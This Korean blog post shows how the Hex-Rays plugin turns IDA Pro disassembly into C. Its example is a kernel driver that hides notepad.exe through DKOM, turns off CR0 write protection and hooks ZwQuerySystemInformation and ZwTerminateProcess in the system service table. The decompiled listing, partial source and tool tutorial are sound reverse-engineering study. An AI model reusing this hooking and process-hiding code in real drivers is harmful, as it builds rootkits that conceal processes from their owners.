반응형
IDA Pro는 OllyDbg보다 시각적인 부분과 Symbol 찾는 것 등에 장점이 있다.
하지만, 기능이 많고, 메뉴가 숨어있는 탓에 사용법이 어렵고, 익숙해지기 힘든 점이 있다.
나에게도 여전히 OllyDbg가 익숙하며, IDA는 코드의 흐름을 보거나 Symbol에 대한 정리가 필요할 때 잠깐씩 이용한다.
하지만, 잡스럽게 여러 도구들을 이용하는 것보다, 하나의 도구에 익숙해지려 했다.
그래서 간략히 IDA에 대해 정보를 찾던 중 Hex-Ray라는 좋은 플러그인이 있다길래 공부하는 겸 해서 정리한다.

Hex-Ray는 http://www.hex-rays.com/ 의 프로젝트 페이지를 갖고 있으며,
주요 메뉴얼에 대한 정보는 http://www.hex-rays.com/manual/ 에 나와있다.

Hex-Ray에 대해 짧게 기술을 한다면, De-Compiler이다.
OllyDbg나 IDA Pro는 기본적으로 Dis-Assembler의 속성을 갖고 있다.
그래서, Assembly 코드를 잘 표현하는데에 기능이 치중되어있다.
하지만, 그 정보를 활용해 De-Compiler의 기능을 플러그인으로 구현한 것이 Hex-Ray이다.

Hex-Ray를 이용하면, 우리에게 보다 친숙한 C 코드로 변환된 바이너리를 볼 수 있다.

(아래 : 기본적인 Dis-Assemble된 코드)
사용자 삽입 이미지

위 그림은 프로세스를 숨기기 위해 작성된 DKOM 드라이버 코드를 나타내고 있다.

아래 그림은 위 코드를 F5 단축키를 통해 Psuedo C Code로 변환된 드라이버의 모습을 나타내고 있다.

사용자 삽입 이미지

이를 텍스트로 옮기면 아래와 같다.

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, int a2)
{
  NTSTATUS result; // eax@1
  PDRIVER_OBJECT v3; // esi@1
  NTSTATUS v4; // ebx@2
  int v5; // eax@3
  NTSTATUS v6; // eax@2
  PDEVICE_OBJECT DeviceObject; // [sp+14h] [bp-4h]@1
  LSA_UNICODE_STRING DestinationString; // [sp+Ch] [bp-Ch]@1
  LSA_UNICODE_STRING SymbolicLinkName; // [sp+4h] [bp-14h]@1
  DeviceObject = 0;
  RtlInitUnicodeString(&DestinationString, &word_1078A);
  RtlInitUnicodeString(&SymbolicLinkName, &word_107B2);
  v3 = DriverObject;
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result >= 0 )
  {
    v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    v4 = v6;
    if ( v6 >= 0 )
    {
      v3->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;
      gProcessNameOffset = GetProcessNameOffset();
      v5 = FindProcessByName("notepad.exe");
      pHidenProc = v5;
      if ( v5 )
      {
        hHidenProc = v5 + 132;
        HideProcess(v5);
      }
      __asm { mov     eax, cr0 }
      _EAX &= 0xFFFEFFFFu;
      __asm { mov     cr0, eax }
      oldZwQuerySystemInformation = (int)*(&imp__KeServiceDescriptorTable
                                         + *(_DWORD *)((char *)ZwQuerySystemInformation + 1));
      *(&imp__KeServiceDescriptorTable + *(_DWORD *)((char *)ZwQuerySystemInformation + 1)) = NewZwQuerySystemInformation;
      oldZwTerminateProcess = (int)*(&imp__KeServiceDescriptorTable + *(_DWORD *)((char *)ZwTerminateProcess + 1));
      *(&imp__KeServiceDescriptorTable + *(_DWORD *)((char *)ZwTerminateProcess + 1)) = NewZwTerminateProcess;
      __asm { mov     eax, cr0 }
      _EAX |= 0x10000u;
      __asm { mov     cr0, eax }
    }
    result = v4;
  }
  return result;
}

아래는 실제의 드라이버 코드를 나타내고 있다.
보다시피 거의 유사하다는 것을 확인할 수 있다.

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
 NTSTATUS status = 0;
 PDEVICE_OBJECT DevObj = NULL;
 UNICODE_STRING DeviceNameUnicodeString; // 생성될 장치의 이름
 UNICODE_STRING DeviceLinkUnicodeString; // 생성될 장치의 심볼릭 링크
 PEPROCESS pCurProc = NULL, pNotepadProc = NULL;
 UINT i = 0;
 KdPrint(("\n\n>-------------------------------\n\n"));
 KdPrint(("\n\n------------Init Driver---------\n\n"));
 KdPrint(("\n\n--------------------------------\n\n"));
 RtlInitUnicodeString(&DeviceNameUnicodeString, DEVICENAME);
 RtlInitUnicodeString(&DeviceLinkUnicodeString, DEVICESYMBOLICNAME);
 //////////////////////////////////////////////////////////////////////////
 // Device 객체를 생성
 status = IoCreateDevice(DriverObject,
  0,
  &DeviceNameUnicodeString,
  FILE_DEVICE_UNKNOWN,
  FILE_DEVICE_SECURE_OPEN,
  FALSE,
  &DevObj);
 if(!NT_SUCCESS(status)) {
  KdPrint((" -[DriverEntry::IoCreateDevice] Function Fail\n"));
  return status;
 }
 else
  KdPrint((" +[DriverEntry::IoCreateDevice] Function Success\n"));
 //////////////////////////////////////////////////////////////////////////

 //////////////////////////////////////////////////////////////////////////
 // 심볼릭 링크를 생성 - 장치 이름과 Win32 이름 사이의 링크
 status = IoCreateSymbolicLink(&DeviceLinkUnicodeString, &DeviceNameUnicodeString);
 if(!NT_SUCCESS(status)) {
  KdPrint((" -[DriverEntry::IoCreateSymbolicLink] Function Fail\n"));
  return status;
 }
 else
  KdPrint((" +[DriverEntry::IoCreateSymbolicLink] Function Success\n"));
 //////////////////////////////////////////////////////////////////////////

보다시피 Hex-Ray는 Dis-Assemble 된 코드에 대해 훌륭하게 De-Compile된 코드를 제공한다. 이를 활용하면, 실제 바이너리 분석이나 어셈코드 공부에 많은 도움을 얻을 수 있다.

+ Recent posts